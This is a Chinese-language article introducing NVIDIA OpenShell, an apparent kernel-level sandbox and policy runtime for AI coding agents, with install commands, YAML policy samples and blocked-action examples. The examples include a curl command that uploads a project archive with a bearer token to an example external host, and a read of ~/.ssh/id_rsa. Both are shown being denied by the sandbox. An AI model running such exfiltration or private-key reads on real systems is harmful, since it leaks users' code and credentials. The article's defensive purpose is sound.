NVIDIA OpenShell Skill:给 AI Agent 装上安全沙箱,让自主操作不再裸奔
NVIDIA OpenShell Skill:给 AI Agent 装上安全沙箱,让自主操作不再裸奔
功能与原则
OpenShell 是 NVIDIA 开源的 AI Agent 安全运行时,核心目标是解决一个根本矛盾:AI Agent 最有用的时候是它能读写文件、安装依赖、调用 API、使用凭证——但这种权限同时也是最大的安全风险。OpenShell 的解决方案是为每个 Agent 创造一个独立沙箱,通过声明式 YAML 策略精确管控文件系统、网络和进程权限,且策略由内核级机制强制执行、运行时即时生效,无需重启。
认可度
- GitHub Star:截至 2026-10-01 约 10.5K⭐,呈快速增长态势(9 月 29 日为 9.7K,两天内跳近 1K)
- GitHub Trending:2026-09-30 出现在 GitHub Trending 日榜
- 版本状态:2026-09-25 正式发布 stable v0.1.0,移除 alpha 标签,进入稳定发布节奏
- 社区:124 位 contributors,活跃 issue/PR 超 450 个,发布频率约每 1-2 天一个版本
链接
GitHub:https://github.com/NVIDIA/OpenShell
原作者
NVIDIA(英伟达) — 全球领先的 AI 算力公司,以 GPU 和深度学习基础设施闻名。OpenShell 是 NVIDIA 在 Agent 安全基础设施领域的首次开源尝试,背后有 NVIDIA AI 安全和系统团队支持。
介绍
AI Agent 正在从”回答问题”进化到”自主操作”——读取代码库、执行命令、调用内部 API、访问云服务。但一旦赋予这些能力,Agent 就有可能访问未授权文件、向外部服务泄露数据、或使用真实凭证操作敏感接口。传统方案要么完全限制 Agent 权限(失去实用性),要么给予完全信任(风险不可控)。
OpenShell 填补了这个空白。它将每个 Agent 隔离在独立容器中,通过三层保护机制强制执行最小权限原则:
文件系统层:Landlock 框架限制 Agent 只能读写声明的路径,未经授权的文件访问在系统调用层就被拦截。
网络层:所有出站流量经过 L7 策略引擎检查,精确到 HTTP 方法和路径级别,默认拒绝所有未声明的连接,支持热更新策略而无需重启沙箱。
进程层:seccomp 限制禁止特权升级和危险系统调用,阻断提权路径。
更关键的是,OpenShell 在策略变更前引入形式化验证(Formal Verification):当管理员申请新权限时,系统会预判这条变更会打开哪些新的访问面——比如”允许访问某主机 + 同时携带凭证”——并主动标记为需要人工 review,防止权限悄然扩大。
特点
- 内核级隔离:每个 Agent 跑在独立容器中,文件系统、系统调用、网络连接均由内核机制(Landlock/seccomp)强制管控,Agent 自身无法绕过
- 声明式 YAML 策略:安全边界用人类可读的 YAML 描述,版本可控、可审计,适合企业合规流程
- 形式化验证 Policy Prover:策略变更前自动分析风险敞口,防止”看起来只开了一个小口子”演变成大范围权限泄露
- 零凭证暴露:Agent 使用的凭证由 OpenShell 注入到沙箱中,只在策略允许的终点才生效,Agent 本身看不到真实密钥
- 多 Agent 运行时:支持同时运行多个沙箱实例,面向多租户企业部署设计,Kubernetes 部署路径已就绪
- 内置主流 Agent 支持:开箱支持 Claude Code、OpenCode、Codex、GitHub Copilot CLI,可直接通过
npx skills add NVIDIA/OpenShell安装 Agent 专属技能 - Rust 实现:核心组件用 Rust 编写,强调内存安全和运行时性能
使用方法
安装(Linux/macOS/WSL2):
# 方式一:官方安装脚本(推荐)
curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh
# 方式二:通过 uv 从 PyPI 安装
uv tool install -U openshell
创建沙箱并运行 Agent:
# 创建一个以 Claude Code 为内建工具的沙箱
openshell sandbox create --name demo -- claude
# 连接沙箱
openshell sandbox connect demo
# 沙箱内默认只能访问极少量网络
# 管理员可通过 YAML 策略放行指定端点
openshell policy set demo --policy examples/sandbox-policy-quickstart/policy.yaml --wait
Agent 技能安装:
npx skills add NVIDIA/OpenShell
安装后,Claude Code 等 Agent 会自动学会驱动 OpenShell CLI、写沙箱策略、调网关调试工具的技能。
Kubernetes 部署:
helm install openshell-gateway ./charts/openshell
--set gateway.replicas=2
--set networkPolicy.enabled=true
使用场景与人群
适用场景:
- 在企业开发环境运行 AI Coding Agent(Claude Code/OpenCode),防止 Agent 访问内部代码库或发送代码到外部
- 多租户 SaaS 平台,让每个用户请求的 Agent 运行在独立租户隔离环境
- 对接内部 API 的自动化工作流,需要确保 Agent 只在授权范围内操作
- 需要合规审计的 AI 部署场景,策略文件本身即可作为安全审计记录
目标用户:
- 企业 AI 平台工程师 / 安全团队
- 在敏感环境(金融、医疗、法律)部署 AI Agent 的技术负责人
- 研究 Agent 安全性与可控性的开发者
输入与输出案例
案例一:防止数据外泄
输入(Agent 尝试执行):
curl -X POST https://external-api.example.com/upload
-H "Authorization: Bearer $REAL_API_KEY"
--data-binary @/home/user/internal_project/source.zip
OpenShell 拦截结果:
{"error":"policy_denied","detail":"POST https://external-api.example.com/upload not permitted by policy"}
案例二:最小权限文件访问
输入(Agent 尝试读取 SSH 私钥):
cat ~/.ssh/id_rsa
OpenShell 拦截结果:
[Agent 进程被内核拒绝,文件系统权限仅限 /workspace 目录]
案例三:凭证保护
场景:Agent 需要调用内部 GitHub API 推送代码
OpenShell 策略配置:
providers:
github:
credentials: $GITHUB_TOKEN
allowed_endpoints:
- https://api.github.com/repos/your-org/*
Agent 在沙箱内调用时,$GITHUB_TOKEN 被动态注入到请求头中,
但 Agent 本身无法通过 env 或文件读取到这个真实密钥。
NVIDIA OpenShell 代表了 AI Agent 基础设施领域的一个重要方向:从”让 Agent 能做任何事”转向”让 Agent 只能在明确声明的边界内做事”。随着 Agent 逐步进入企业生产环境,这种内核级安全沙箱有望成为标准配置。
评论区
登录后可评论。